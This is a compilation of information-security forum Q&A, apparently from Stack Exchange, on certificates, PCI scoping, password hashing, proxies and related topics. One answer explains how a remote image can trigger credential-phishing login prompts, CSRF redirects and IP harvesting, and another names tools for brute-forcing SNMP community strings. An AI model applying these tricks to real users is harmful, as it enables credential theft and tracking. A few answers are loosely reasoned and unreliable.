Where do live threat maps get their threat-data from? There are many "threat maps" online such as Norse, Fortinet etc serving accurate information of all kinds of attacks around the globe such as DOS, Scans, Pings, and many more.

How accurate is this
If i launched a big DDOS attack will this attack be visible
Where do they get their data from, or where is it based on

... serving accurate information ...

I doubt that these information are accurate. There is some truth in it based on what vendors see from honeypots, from installations at customers and from public available data but the vendors don't really see or know everything.

The main point of such threat maps is to make it clear that there is sufficient danger on the internet in order to either sell more security systems or to justify the money already spend for existing installations. This also means that there is no need that these threat maps are fully accurate. They could even make up some data and nobody will really notice since nobody has the full picture.

In order to protect a specific network it is more relevant to detect what attacks target this network and not what kind of attack activity is currently out there in general. Some vendors have threat maps in their products which are based on the traffic directly seen by these installations and thus reflect the attacks against this specific network.

  If i launched a big DDOS attack will this attack be visible

It depends on which kind of sources the specific vendor uses. A vendor offering world-wide DDoS protection will likely show it since this is the kind of attacks they fight. But again, the purpose of these threat maps is not to provide an absolutely true picture which include all current attacks.


Openssl Cert Signing This topic has been discussed multiple times here and all over web & I did follow most of it but looks like my fundamentals are not strong enough to get thru...

Here is a quick snap of requirement and the steps I have taken

Create a key pair [pvt/pub], let's call this use case as MYKEY
Generate x509 cert from MYKEY
Before sharing this x509 cert, establish a chain of custody but there is no root CA available. Going out in the market is not an option.
This cert must now be signed using another private key, let's say, MYMASTERKEY and since pub portion of MYMASTERKEY will be shared with recipient, it establishes a chain of custody.
Share the signed cert with the recipient.

What have I done:

Generated RSA2048 key. Could easily extract pub key as well as created a csr [called MYKEY.csr] from pvt key [MYKEY].
Could generate x509 cert directly from pvt key but I don't think that's the requirement here.
Created another pvt key called MYMASTERKEY. Could extract its pub key as well as its self signed cert. I am going to treat MYMASTERKEY as my root CA here.
Generated csr for MYKEY [openssl req -new -key MYKEY.pem -out MYKEYCSRREQ.pem]. Used this syntax to 'supposedly' sign this csr using MYMASTERKEY [openssl x509 -req -days 730 -in MYKEYCSRREQ.pem -signkey MYMASTERKEY.pem -out MYKEYX509.crt]

Where am I stuck?

I am not sure if MYKEYX509.crt is what I should share with my recipient. I am not sure about the syntax I am using although it looks correct. Also I am lost to check if I can verify MYKEYX509.crt using pub key of MYMASTERKEY. What would be the syntax here as root CA is my own ?

Also, when I open MYKEYX509.crt using openssl x509 -in MYKEYX509.crt -noout -text,the issuer details are not from root CA [in my case, MYMASTERKEY]. This confuses me. On one hand, it looks like I am doing the right thing but I am not able to verify and do not feel confident about it.

Have you created a CA Singing Certificate for your CA? That is the step where you specify the details of your root CA, which will appear in all certificates that this CA creates. This answer is basically a digest of these somewhat terse instructions for setting up your CA that I found on google.

So it looks like before your CA can produce any signed certs, you need to create both a CA signing key (your MYMASTERKEY) and a CA self-signed certificate based on MYMASTERKEY (I think this is what you're missing):

The following command will ask you all sorts of questions about your CA - the information that will appear in certs that it signs - and then it generates the self-signed CA Signing Certificate CAcert.crt:

openssl req -new -key MYMASTERKEY.pem -x509 -days 1095 -out CAcert.crt

Once you have "configured" your CA by creating a CA signing cert, then you can take your client's Certificate Singing Request file (*.csr) and create a cert from it:

openssl x509 -req -days 365 -in MYKEYREQ.csr -CA CAcert.crt -CAkey MYMASTERKEY.pem -CAcreateserial -out clientCert.crt

The resulting clientCert.crt is what you give back to the client for them to install in their webserver, use to sign email, wtv.

Just for completeness for future readers, here's the steps that a client would have to take in order to submit a certificate request to the CA:

1- Generate a key

openssl genrsa -des3 -out <new.key> 2048

2- Generate a certificate signing request

openssl req -new -key <new.key> -out <new.csr>

The <new.csr> file is what you send to the CA to be made into a certificate. Note that the above command will ask you all sorts of questions about the organization or domain that you are requesting the certificate for. If you are planning to submit this to a public CA, then you will want to think carefully about what to put in there.


PCI DSS 11.2.1/11.2.3 - Internal scans scope I need help about SAQ #C - Are quarterly internal vulnerability scans performed?

What is target (scope) for those internal scans?

Our configuration:

Router with modem (WAN1/LAN1), DMZ, some office computers are connected there
Wireless router, access point, which in fact is a bridge to LAN1, some office computers are connected via this router
Dedicated router - installed only to meet PCI requirements (LAN2, connected to WLAN1/LAN1)
Dedicated store www server - completely isolated network, in fully isolated VLAN (connected to dedicated router LAN2).

Basically only port 443 is opened, and forwarded to server. Network is fully isolated. We can manage our dedicated router only via serial cable or prepared eth2 interface only for managament (no device is connected there)

I can't even retrieve customer IP on www store server (where cardholder data is processed)

My question is: Which network should I scan? Do I need to scan everything? Do I need to scan office network as well? (which in my opinion would be ridiculous).

My concern is we have office computers which obviously won't pass internal scans on LAN1 - for example I have WAMP installation on my computer, but I don't really care about fact my WAMP installation has some vulnerabilities.

Our cardholder env. (which is our server) is behind three firewalls... (LAN1,LAN2,iptables)

Only way I can login to server's console is... direct, physical login (which is a little pain btw.) All ports except TCP 443 HTTPS are closed. SSH is disabled.

Knowing all root passwords there is no way to connect to card env. server. (our store)

Edit: Just performed internal scan (using asv tools), it found vulnerability issues in our printer!!! - this is ridiculous

This is an issue I've been dealing with as well. The best answer I can suggest is to get the PCI scoping toolkit from http://itrevolution.com/pci-scoping-toolkit/. Anything level 1 or 2 is in scope for the scan.


Is it safe to use public USB charging stations? I'm beginning to see more and more public device charging stations — okay, they're still mostly in airports — that include USB outlets, not just regular power outlets. Are these safe to use? Could someone with time, access and expertise rig one up so that it silently snoops in a connected phone's memory or loads a virus during charging?

To clarify, I know my phone usually asks me what to do if I connect it to something that tries to transfer more than just power, with a dialog box. I'm mostly concerned that there's a way for programs to unilaterally start doing things without a

  Do you want to allow program BlahBlah to access your...

confirmation first.

Depends on the phone. If you've disabled USB debugging/file sharing1, then Android phones are inaccessible via USB until you turn it on.

On the other hand, one can access most files of an iPhone without any special access (this bypasses the pincode lock as well). Desktop applications like IExplore do this. While ssh access won't be available, they still can delete/steal your data, including applications, music, photos, and videos. As well as the configuration of applications (which may include passwords). And they can add their own malware.

1 These two are different. Most phones have debugging enabled by default, though you can turn it off. USB sharing is disabled by default, since it requires the SD card to be unmounted (which kills half your apps).


Same certificate but different private keys on different servers. Does this work? We have a SAN cert that is used on multiple servers. Is it possible to have the cert re-keyed and only use the new private key on a particular server while keeping all of our other servers using the old private key?

I'm trying to think through this but I can't see a reason why this would not work as the other servers as far as they know they still have a matching key pair. It may not be the best practice, but I don't see why we can't. Looking for confirmation.

You can have multiple valid certificates with the same subject but different keys active at the same time. A possible use with SAN certificates would be to use certificates with the same subject but different key for the different hostnames contained in the certificate. You could even use it for the same hostname (i.e. same hostname on multiple IP addresses) but this will be confusing for some certificate verification tools like certificate patrol.


For all the hassle it brings, why isn't password management handled by the database? Right now, we might do something like password varchar(72), when defining a password column, with for example BCrypt. But there's a lot of folks that don't do this very effectively. Maybe they just put the plaintext, or a single unsalted md5 hash, or some other terrible strategy.

But virtually all these offenders still use databases. So why isn't this kind of functionality baked into databases? Something like mypass password('BCrypt:10'), and accessed like INSERT INTO people(name, mypass, other_data) VALUES(?, ?, ?) which would take the plaintext password from the user and pass it to the table. But the table would store the appropriate BCrypt hash value. Then, we could do something like SELECT other_data FROM people WHERE name = ? AND mypass = ? - this again would take the plaintext from the user logging in, but load the salt and perform the analysis to determine of the the password was a success or not.

When it comes to storing data, we go with databases instead of flat files or what have you because they're reliable, tested, and simple (in comparison to rolling our own). Since it's clear that in the wild there are innumerable where password storage is unreliable and untested, why is this sort of data storage not undertaken by the database itself?

It would be possible but:

It's not standard SQL (it would have to become a feature, part of the product)
All processing power will be centralized on the database
Not all webapplications use SQL databases

You're just shifting the problem, 10 years ago it would have been acceptable to use MD5+salt. So your database would implement MD5+salt right? Alright 10 years later, you as a developer need to use password again hashing on database level, now the database supports bcrypt, but you still will use MD5+salt because it's what you know right?

Why does it still need to support MD5+salt you might ask? Simply because you are probably still using the same application. The migration to the new scheme will still require developer intevervention, it won't happen auto-magically.

Making it a feature to just use an automatic password hashing algorithm isn't possible because you will have implemented an older scheme for older applications. This would then require the database product to suddenly implement an auto-migration feature. This is complex to implement.

So you can see, the problem shifts from it being a developer issue to a database developer issue.


Why can the common name of a key-pair be empty? I just realized that, using openssl req - new -key foo.key -out newcert.csr, you can actually have an empty CN value.

What's the value of that?

Because it is just 'informative' and only have a meaning in case of session based exchanges.

A key-pair in a certificate can be used to encrypt data without a session.

Example:

You encrypt a file with your private key and give your public key to some peoples. The CN has a low value to identify the source, the public key itself is enough to decrypt the file if you're sure the file come from trusted source.

This allow file transfer on clear-text protocols with a end point encryption/decryption. The CN has a low value in this case as the key have to match.


Files related/required to a digital certificate I am new to digital certification and I am trying to understand it as well as get my domain certified.

I know this question may be broad, but can someone give me a general idea of the usage of the following files and how they are related?

xxx.cer
xxx.csr
xxx.JKS
xxx.p12

===

to add on, i am reading
https://support.ssl.com/Knowledgebase/Article/View/19/0/der-vs-crt-vs-cer-vs-pem-certificates-and-how-to-convert-them

what is per,der and pem format ? and how are they link to .cer ?

To put it as simple as possible:

a cer is a certificate. Think: a (your) public key, signed by a CA (certificate authority)
a csr is a certificate signing request. Think:

  Here, CA, this is my public key and a proof that I do in fact have the private key for that public key

p12 is a container format that holds various things. Often, and probably in your case a key pair (a private and corresponding public key), often encrypted itself.
JKS is the java keystore format. Like p12, it is a container, which can hold multiple keys and/or certificates.  A keystore which holds only certificates is called a truststore.
DER and PEM are two different encodings used to represent a certificate.


IMG tag vulnerability Is it safe to display images from arbitrary domains? I.e. let's say I have an image on my page:

<img src="http://badguy.com/image.gif" />

What if image.gif will return some js attack vector, but not the image? Is there any known vectors?

I've tried to serve javascript:alert(1) or the same, but base64 encoded. But without any luck. Any ideas?

There used to be a "vulnerability" where the image could send a HTTP 401 Unauthenticated response, which would trigger a login screen for the user. If you set this as forum avatar, it would spawn a login popup for anyone visiting a page where your avatar appears. Lots of people will then attempt to log in with some username and password combination, probably the one for their forum account.

A friend of mine found this a few years ago, but nowadays it doesn't seem to work anymore. At least I couldn't easily reproduce it a few months back. Edit: I was wrong, this attack is still possible! /edit

As for XSS attacks this way, you're safe. The browser will, or should, always interpret this as an image no matter what it contains or what headers it sends. You can customize the image based on the request (serving a small image to the forum software prechecking the image so that it doesn't downscale it, then large for everyone else). Or feed the browser lots of gif-data until memory runs out or something. But there are no real big vulnerabilities here that allow Remote Code Execution as far as I know.

What you are only moderately safe for are CSRF-attacks. The image can issue a HTTP 302 Moved Temporarily response and link to a new location. For example it could link to, I don't remember the specific URL, something like https://accounts.google.com/logout and log you out of google (this worked a few months ago). Or, slightly more maliciously: http://example.com/guestbook.php?action=post&message=spam-url.example.com.

Only GET requests can be done this way as far as I know. Or if the image was originally being loaded as POST request, I suppose it could also redirect the POST, but not change the POST-data. So that's pretty safe.

Last but not least, if the attacker controls URLs of for example forum avatars (such as in SMF forums), it's possible to obtain information from visitors such as their IP address. I wrote a tool a while ago that used the action=who page of SMF to link IP addresses to usernames. When I started displaying that to users (show "Hello $username with IP: $IP" in the image) all hell broke loose. "How could you possibly know that?!" They were mostly early- to mid-teen techies so they knew what an IP address was, but didn't know that I couldn't hack them with it. It is however considered to be personally identifiable information, at least in the Netherlands, so the admins weren't quite happy about this practice. If you don't display it though, nobody will ever know.

Note: If this post seems hastily written, it is. I'm barely awake too. Perhaps I'll clean it up tomorrow if it's too much storytelling and not naming enough concrete facts and vulnerabilities. Hope this helped anyway!


Is it possible to use wildcard certificates on multiple devices? I have a server that I want to use a wildcard cert on.  It runs multiple services.  I purchase a wildcard cert so that I can protect mail.something.dom, www.something.dom, im.something.dom, calendar.something.dom, addressbook.something.dom

A few months later I come into several new servers.  I now have enough servers that I could set one up for each subdom that I created.  I want to use my wildcard cert rather than buy an SSL cert for each one.

Is it possible if I:

Copy the public and private keys for the wildcard cert from the original server.
Place a copy of each of the keys in each new server.
Place a copy of the wildcard cert in each new server.

If this is not the process to do this, is there a process that will work?

The process you describe will work. Whether you will be able to enact it is a different thing: it depends on where, exactly, your private key is. In Windows systems, a private key might be marked as "non exportable", which means that Windows will not allow the export; the export is still possible (Windows is only software, it cannot do miracles) but somewhat hackish. On Linux systems, private keys are just files and files can be copied at will. If your private key generation and storage involved dedicated hardware then see the documentation of your HSM for possible options.

Possible objections against such a plan are the following:

There may be contractual issues. It really depends on the CA. The CA does not have technical power to prevent you from moving your private key from server to server (it is your key on your machines, they cannot spy on that), but they can still define it as a contract breach, at least theoretically. Commercial CA make money out of selling certificates, and you are buying and using a wildcard certificate precisely so that you do not have to buy a new certificate for each new server name; the commercial people at the commercial CA will understandably feel queasy at the concept, hence the possibility of some legal hindrance.
The value of a private key resides in its privacy. If your private key becomes known to outsiders, then you have a big problem. As a general rule, any export-transfer-import operation potentially exposes the private key; the more a private key travels, the less private it becomes. The "recommended way" is to have each server (physical machine) generate its own key pair, and never export the private key at all. What you suggests is at odds with this general principle, so beware.
If the private key is stolen, then the certificate will have to be revoked, and this will impact all your servers at the same time. With several distinct certificates, damage is more contained. Similarly, when the wildcard certificate expires, a renewal will have to be done, and the new certificates installed on all servers simultaneously. Depending on how many distinct servers you have, this may prove to be cumbersome.


Can I limit PHP include() to specific directory trees? I know I can use the php.ini open_basedir directive to limit the directory trees where files can be opened by PHP.

But in a directory structure such as this:

├── application
│   ├── index.php
│   └── www
├── logs
└── uploads
    └── malicious.php.jpg

Is there any way to prevent malicious.php.jpg from being evaluated as PHP if it were specified in an include(), without preventing PHP from reading/writing uploads to/from that directory?

Edit: I should probably specify that I'm interested in a configuration- or permissions-based solution.

Depending on your setup, you may be able to use Mandatory Access Control to get something close to what you want.  For example, consider a system running linux with apparmor.  By using apparmor you can limit which scripts are allowed to access the uploads directory. This isn't a perfect solution since a couple scripts will still be able to "include" the files, but you can limit the number of scripts that can.

For Example, you could allow upload.php to access the uploads directory, but deny index.php access to that directory even though they are running as the same user.

I assume you can do similar things with other MAC systems like SELinux.


Are credentials sent via plain text to HTTP proxy? If a proxy server requires authentication, and that proxy communicates over HTTP, are the credentials sent over plain text to the proxy server?

If this is the case, isn't it possible to sniff the packets and get the credentials?

It depends on the kind of authorization request by the proxy. If this is Basic Authentication the username are passwords are transferred in mostly clear (i.e. base64) and thus can be extracted by passively sniffing the connection. This is no longer true with Digest Authentication or NTLM, although in the latter case there are other attacks to reuse the authentication information.


Can I trust public code versioning platforms when building a social platform? We are developing a kind of social platform. It starts as a closed beta for a limited number of users, but the goal is to reach millions of subscriptions.

We are currently limited on resources, both infrastructure and e.g. DevOps. So we are using GitLab for versioning our source code.

Let's assume, we make it and in few years the service has million users. How do you feel about using GitLab for versioning of the source code at this stage?
Do you see it as a significant security threat? A few reasons to consider:

there is no possible real warranty that staff from GitLab cannot investigate the source and find security holes or some sensitive configuration.
GitLab staff could sell sourcecode to some third party
GitLab may be forced to provide the sourcecode to some government, without us to know it

I know the points will sound paranoid. The purpose of the network is completely legal and ethical, but I believe any service of this kind must protect the privacy of its users. The plan is to move to our private servers later, but we have to start somehow.

So, do you think it is OK to use private GitLab or Bitbucket repositories for the early phase of the project, or is it an unacceptable security threat?

Disclaimer: I don't claim GitLab would do anything of the described.

Unfortunately, you are the ones responsible of seeing if your threat model is justified or not. Therefore, we cannot simply give a definite "yes" whether we see using the platform as a security threat or not.

However, there are two points that I'd like to expand on:

You seem to be extremely worried about the source code containing vulnerabilities and that the disclosure of it would mean that an individual or party could identify them.

Personally, I would not feel confident about providing a service to users where its security relies on the source code not being open source. To me, this is some sort of security by obscurity. In the best world, you want your platform to be as solid even if the code leaks. Therefore, I would highly suggest that you partner up with some pentesters/code reviewers, or at least some developers that are very security-aware.

You mention wanting to move to private versioning servers.

Just do this right away and be done with this. At the risk of sounding blunt, I would question your technical skills if this seems to be a complicated or expensive step considering that you are starting off. Gitlab even offers a self-hosted solution; just make sure to review the platform and to block any communications with their servers if that part worries you.

Best of luck.


Security implications of using VM versus dual boot I have my main computer and Windows installation that I use to work with (to me) important data. I keep this environment reasonably secure, however, I need a place with loosened restrictions. I thought of 2 possible ways to do this using a single machine

simply create and use a VM
use a secondary drive and install Windows on it. Since the main Windows installation uses Bitlocker for the whole drive (using a passphrase, because TPM is not supported by my mobo) it should be impossible for a virus to rewrite files on my main Windows. What I'm unsure about is the possibility of a UEFI virus which would compromise the boot process, get access to the passphrase and the underlying system.

Is any of these solutions reasonably secure? (I'm not some sort of high ranking state official neither someone who works for a large company, so I believe while the data I work with is important to us, I wouldn't be someone's target, hence "reasonably secure")

Virtual machine would be more secure and reliable option for you, because you would have an isolated environment (disk, memory, CPU, network, etc), you can start, stop, and remove it whenever you want. You may install viruses there and attach a debugger to VM to research them. But there is a disadvantage: it takes a part of a host machine resources, you may notice that if your host is not so powerful.
Pros: security, cons: performance.

Installing Windows alongside is a bit more risky from security side of things, because both operating systems will share the disk, but there is no harm on performance. Pros: performance, cons: security.

UPD: Probably, you'd like to evaluate a trade-off between a bootkit attack on BitLocker and exploiting any VM vulnerability which would lead to data integrity or data confidentiality compromising. Data integrity: if data is rewritten then integrity is compromised. Even if data is encrypted, any modification leads to compromising. There is a longer chain to attack integrity of the host's encrypted disk from inside of VM, thus VM is more secure in this case (also VM escape is not a trivial task).

If you care about data confidentiality: 2 steps are needed in both cases - bootkit attack versus VM vulnerability exploitation after that reading unencrypted data. However it's hard to evaluate and compare attack difficulties of both cases.


Is SNMPing available anymore? I am researching SNMP and I read about a scanning tool from SANS called SNMPing. Is this tool still available?

I cannot find anywhere to download it. Sending an empty email to snmptool@sans.org just gets rejected.

I can't find a public source for SNMPing, but you might be more interested in more robust options. My personal favourite is onesixtyone. It pings, as well as brute-forces community strings (if you want to do that).

There is also snmpwalk and snmpenum which can read the information from the system.

All 3 of these tools are available on Backtrack, but if you are looking for Windows versions (as SNMPing was win32), you can find various parts of these tools here, but I cannot vouch for them.


Viewing PCI data via 3rd party sites securely I'm working on a project that requires PCI protected data (card  PIN numbers) to be made visible to customers, via a Third Party (a non PCI compliant) company site.

The hierarchy is as follows:

Us > PCI Complaint > Platform Provider
Third-party > Not PCI Complaint > Our Customer
Customer > Card User > Third Party Customer (but we are responsible for financial data)

We can show the PIN via a web page (if it is served under SSL) but we cannot allow the PIN to be passed to the Third Party in any way in case it is stored. So REST calls are out of the question, as are iframes.

The ideal process would be:

Customer visits the Third Party site and requests to view their card PIN.
The PIN is displayed (served from our site) on a page served under SSL.

The process required to do this is difficult to figure out because:

We need the PIN request [to appear] to be made from the Third Party site as the customer is 'theirs', we provide the platform for the cards.
We need it to be served under SSL to meet PCI compliance.
We cannot serve this with a REST call to the Third Party.
We cannot have the Third Party retrieve this PIN in case it is stored or an app is written to scan and retrieve all their customers PIN's.
We need all this to be managed via Web Browser(s) and transparently, so the customer doesn't have to enter a password or provide an encryption key.

We can show the PIN on one of our own unbranded pages but I cannot see how we can pass any required sensitive data (via the Third Party site) to instantiate this request - without providing/leaving sensitive data on the Third Parties site.

This doesn't sound possible to me - without the customer providing some sort of secret key to retrieve the PIN "directly" via the Third Party Site. But I wanted to ask, in case somebody has any ideas or has experienced similar issues?

Thank you in advance!

First of all, you need to talk to a QSA on something like this.

That said, I believe the PCI Card Production Logical Security Requirements document most closely applies to your issue.  And the sticker is that the cardholder does need to provide "some sort of secret key."  Specifically, section 10 PIN Distribution via Electronic Methods says you need to validate that the request is coming from the cardholder:

  e) Communication of the PIN to the cardholder must only take place after
  verification of the identification value and associated authentication
  value.

  f) The identification and authentication values must not
  disclose the account number.

  g) The authentication mechanism or value  must be different than the identification value and must not be a value easily associated with the cardholder.

  h) The authentication
  value must be communicated to the cardholder in such a way that access
  by anyone other than the cardholder is detected.

h) also implies that the cardholder can't pass their authentication value through the third party, but you knew that.

You're correct that REST or web services would not be appropriate, but an iframe is probably acceptable, because an iframe means that the communication regarding the PIN would be directly between the cardholder's browser and your server, bypassing the third party.  The third party simply provides the link that allows the cardholder to go directly to you.  iframe is probably the appropriate technology to meet your requirement of having it appear to come through the third party and the PCI requirement of requiring the transaction be directly between you from the cardholder.

Alternately, you could simply do a branded page.  You create a web page with the look and feel of your third parties' web site, and they link to your page.  Cardholders go to your site, your URL, but it looks enough like the third party to seem the same.

So, to sum up - the third party passes the cardholder to you, via iframe or direct link.  The cardholder submits authentication data to you and gets the PIN back, and ends up either continuing (iframe) or being redirected back to (direct link) the third party's site.

You may not be able achieve one of your goals: to do this "transparently, so the customer doesn't have to enter a password or provide an encryption key."  That's not compatible with PCI requirements.  (That said, if your QSA approved, and the third party was able to sufficiently authenticate the cardholder through their normal process, and pass cryptographically strong proof of that along as a cookie or request parameter, then maybe you could make it transparent.  But that's where you really, really, really need a QSA's advice, because maybe that violates 'h' above)


Per-User Image DRM for Finding a Leaker? I'm managing a client that distributes their users images and files through one source. My background is heavily in development as opposed to security, and I'm of course familiar with some tricks that tickle the development side (MD5, etc) but nothing serious or in good practices. Hence, question:

What is the best method of tagging images for a group of users so that if one user leaks the information we can tell who leaked it originally (a unique user tag of some sort generated when someone downloads)?

Manual distribution is not an option. Further, our client's service is based on the honor system, so a secure viewer is not an option either. We want to retroactively find leaks-- preventing them entirely is impossible without user inconvenience in this case, anyway.

Thanks in advance!

What you are looking for is called "steganography" the process of hiding secret content in plain sight.

Exactly which technique or library is most useful to you depends on what you are trying to protect and you are trying to protect from.  It could be something as simple as playing with the exif metadata, or something that modifies the image content like Digimarc.  With a bit of research there are probably some appropriate open source tools you can bring in server-side to make the process happen dynamically.


Unix - Is it safe by default to give a new user ssh access and be certain they can not alter the system? When creating a new user on a fresh NetBSD system (assuming all scripts/programs/directories have the correct permissions) can I be certain that the user can not in any way alter the system?

Is it production ready as standard? By that I mean can I create a new user with SSH access and be certain by default they can not mess up the system (assuming no 0days, or known exploit).

Thanks for any insight. I'm really interested to know how to provide secure accounts on a system as I plan to make a hacking game that requires the user has access over SSH.

This depends on what the user can do with the SSH access. If he is limited to specific actions like scp/sftp, selected port forwarding or running selected commands the risk might be small. If instead the user has full shell access then he can use local privilege escalation attacks to elevate his privileges from a normal user to system user. Bugs which allow such attacks get regularly detected and some of these lurk for many years without getting publicly known and fixed.

Apart from such direct privilege escalations a user with shell access can also connect to network services which are explicitly restricted from outside access and might not be that well protected because of the risk is considered low. This might for example be local database installations with insecure and easily brute-forced passwords. And apart from the local systems the user might get access to internal systems on the same network which are usually protected from the outside using a firewall.

And of course a user with a login shell could just exhaust system resources like memory, CPU time, I/O or disk space unless specific limits are set on the account.

These are just the more obvious problems. But note that most of these could also already be done from inside a PHP script or similar server side code in control of the user.

In summary:  if there are sensitive data on the system or on connected and reachable systems don't provide a way for an untrusted user to execute arbitrary code as a non-privileged user. This involves shell access but might also already involve using its own PHP scripts or similar. If such code execution is needed you can try to mitigate the risk by adding additional security layers, like sandboxes, containers or similar but note that these restrictions are not unbreakable either.


How do banks protect your account when online accounts have a weak password and MFA is not used? I have had an account with a Bank in which my online accounts password was just a simple 8 character all lowercase password with two numbers. By today's standard it would probably take a single computer less than an hour to brute force the account. This bank does not do dual factor or MFA. I was wondering if they are possibly employing another method whereby extra steps are taken to protect my account with such a weak password? If so what are they doing? If nothing I suppose I my account is a ticking timebomb until I update my password and its a crap shoot?

Firstly, you will only get a few attempts to try to log in before the login is locked and you have to phone up to get it re-enabled.

Secondly, though you used only lower case and numbers, that doesn't mean that you couldn't have used more.

Thirdly, they use monitoring programmes that detect unusual activity and block it until it can be verified.

Finally, some level of loss is expected and built into the costs of doing business.

Of course, that doesn't mean to say that you should leave such a weak password in place - you absolutely shouldn't - getting a compromised account sorted could still cost you a lot in time as well as money.

Nor should you do business with a bank that allows such weak practices. Any decent bank would at least have a secondary factor such as forcing you to enter n out of n+++ characters from a secondary passcode. Or maybe an answer to one or more security questions.


Should we make extra effort at preventing replay attack for HTTPS enabled web application? SSL/TLS channel itself is protected against replay attack

Assume we have to build a very secure web application and it must be HTTPS enabled, is it necessary to implement nonce or timestamp or other mechanism to prevent this attack?

TLS  usually reliably prevents replay at the TLS level. The exception is the TLS 1.3 0-RTT handshake which should therefore not be used for requests where replaying is a problem (i.e. usually POST, requests with parameters...) - see Introducing Zero Round Trip Time Resumption (0-RTT) for more information.

But this is only relevant for replay of the exact encrypted bytes, i.e. some attacker sniffing on the network, capturing the traffic and replaying it. TLS does not prevent a replay at the application level, like someone resubmitting the same form again, reloading the web page ... If this is a problem for your specific use case you need to handle it at the application level no matter if you use HTTPS or plain HTTP.


Should I make my api calls to update users contain a password or hashed auth key? So Im creating an API for an app that in the backend involves updating users, deleting users, and some other user related stuff.

Im using the slim framework and I was wondering when the user wants to update there details (Name, email, phone) should I make the API retrieve an auth token or the users password before the details are updated??

Example of my curl command ATM: So at the moment I am passing it the uID (prim key of user) which will be stored on the phone.

curl -i -X PUT -H 'Content-Type: application/json' -d '{"name": "Jimbo Change", "email": "jimbo@change.com.au","mobile":"0442889283","uID":"12"}' http://example.com/api/users/

Should I maybe replace the uID with an authentication token that is stored in the database or should I create an encrypted md5/sha of the email and then salt the password and mobile number into it?

Appreciate any feedback/advice!

Ps: Im just getting into security and am loving it so far :)

should I make the API retrieve an auth token or the users password
  before the details are updated?

NO because I am assuming that this backend app will be used mainly by the web admins/operations and why should they have access to the user's password or auth token?

Also, whoever is going to use this app must login to the system themselves
and you should log the API Calls they made.


PHP: password_hash() - do I need to define the cost? Do I necessarily need to define the 'cost' for password_hash()?

Is there any default value for the cost?

I know using custom salt with password_hash() is not recommended.

How much time does it take to hash with password_hash() alone AND how much time for password_hash() with bcrypt?

According to the documentation for password_hash(), the default cost is 10. On my machine this takes about 60 ms to compute. While better than a non-adaptive hash function (think plain SHA1 or MD5), I'd prefer that be closer to 500-800ms (cost 13 on my machine). The general recommendation I make is to run some measurements on your production servers and set the cost to whatever you feel like you can reasonably handle without impacting the UX too much.


What is gained by hashing the last block on-device? Recently I encountered the notion of "hashing the last block on-device".

It means that when computing a digital signature, the hash that serves as input for the actual signature computation is not to be computed entirely in software but neither entirely in hardware - in fact the first n-1 blocks of the digest computation are computed in software for performance reasons and the final block is computed on the device (typically a smart card) before the final hash is used for the signature computation, again carried out on-device.

I was told that the smart card driver of the card we used at the time did exactly that when requested to produce a signature entirely on-device (hashing + computing the signature): The driver would compute the first n-1 blocks locally and then initialize the smart card with the current state of the digest, then send the remaining data for hash finalization and signature computation.

I was told that this would add to the security and at first I assumed that it was meant as a clever countermeasure against attackers that might intercept the hash computed in software, replace it by a hash of their own choice, thus obtaining a valid signature on data of their choice.

But the more I thought about it, the more it confused me. Nothing prevents attackers from pre-fabricating their hashes in the same way, i.e. compute n-1 steps of the digest calculation on the data of their choice and sending this to the device for finalization - again yielding a perfectly fine forged signature.

The only arguments I can think of why this might be preferred over computing the hash entirely in software are of legal nature. If the device and its algorithms are certified, then there is the guarantee that the input data for the signature computation has been provided by a certified implementation whereas there is no such guarantee if the hash had been computed entirely outside the device by a non-certified third-party software. I could imagine that this would affect legal discussions in case of a dispute over a particular signature.

Are there any real gains in security that I overlooked?

Citing from Smart card handbook By Wolfgang Rankl, Wolfgang Effing

The HASH option of the PERFORM SECURITY OPERATION command can be used to compute a hash value. The command may transfer either the data to be hashed or a hash value already computed outside the smart card along with the data needed for the final step of the computation. In the latter case, the hash computation for the final block is performed in the card. The advantage of the latter method is that the hash value can be generated significantly faster outside the card, but the final step still occurs inside the card. From a purely cryptological perspective, this provides only a small amount of extra security, but it does somewhat limit the possibilities for manipulating the hash value. For this reason, it is widely used in practice.

Last block of hash usually contains data length ("data needed for the final step").
This blog describes all modes of PERFORM SECURITY OPERATION:HASH command. They are: hashing everything on smart card; hash last part of data (he says nothing about length of this pard); don't hash anything, just do a signing.
This article says:

Let us point out that, for performance reasons, the hash function is generally
performed outside the card. In particular, when the digital signature function
is a keyed-MAC function, only the last block computation is performed on the
card.


How critical is encryption-at-rest for public cloud hosted systems? I work as a solutions architect for web-based systems on AWS. As part of this role, I often respond to Information Security questionnaires. Nearly all questionnaires request information about data encryption at-rest and in-transit. However only a much smaller percentage ask about other security aspects, such as password policies or common web application security issues, as published by OWASP.
I wonder how common/likely accessing of clients data is within a public cloud provider such as AWS, Azure and GCP. It seems a very high barrier to pass for an external party, even data centers of small local web hosting companies seem to have very good physical access security. And informal conversations with bank employees tell me that accessing someone's bank account without reason leads to instant dismissal, so surely public cloud providers would have similar controls in place?
This is not to challenge the value of encryption at rest, it is very cheap to access, so there is no reason not to enable it, but where does it sit in terms of priorities?

Your threat model is focused on external parties breaking in. But the threats are broader than that.
Low-level hardware backups, VM snapshots, and disposed hardware can all contain data. And because these things tend to be seen to have lower risks, they are often mishandled. So, it's not a "Mission Impossible" style of threat that is likely. It's the "eh, the drive is old, just toss it" style of threat that's the problem. Even for large cloud providers.
And because, as you say, it's cheap and easy to implement encryption-at-rest, to not implement it is its own cause for concern and follow up questions.
Human factor issues, like password policies and secure coding practices, are also very important, but difficult to assure, insure, and be consistent. So, technical controls tend to be the focus, regardless of the overall priority.


Are there any risks in just sshing into a compromised server? Let's say that the server is completely compromised (and the hacker has root access to the compromised server). If I ssh into the compromised server, is there any way (e.g., in the key exchange) that the hacker could gain any access to the (uncompromised) server from which the ssh is initiated?

I would say that if you will just connect there, nothing should happen. Except you give him your IP so he can theoretically focus you. If you have correctly configured your client.

It really depends on the security of your client setup and another servers you use. If you authorize / sudo yourself using the key the probability he will be able to exploit another server is quiet low.

But many times I also saw tunelling over SSH setup in the way the servers were able to access each other over the SSH channel opened by the user. And keys were stored on "compromised server".

As I said in the beginning. It really depends on many other things, I would say, its hardly possible but not probable if other security recommendations will be followed.


Why not resend email confirmation email at the point of failed sign-in? (vs force a button press) Assuming an app/website where email confirmation is required before logging in:

If newly registered user tries to sign in, a common flow is to tell them they are have not confirmed their email address yet and then ask if they want to re-send email confirmation, which is a two step process.

Is there are security concerns for just sending another confirmation email (with link) as soon as they try and fail to sign in?

People could end up being spammed but I doubt significantly more than they would in the other flow if someone was trying to be malicious.

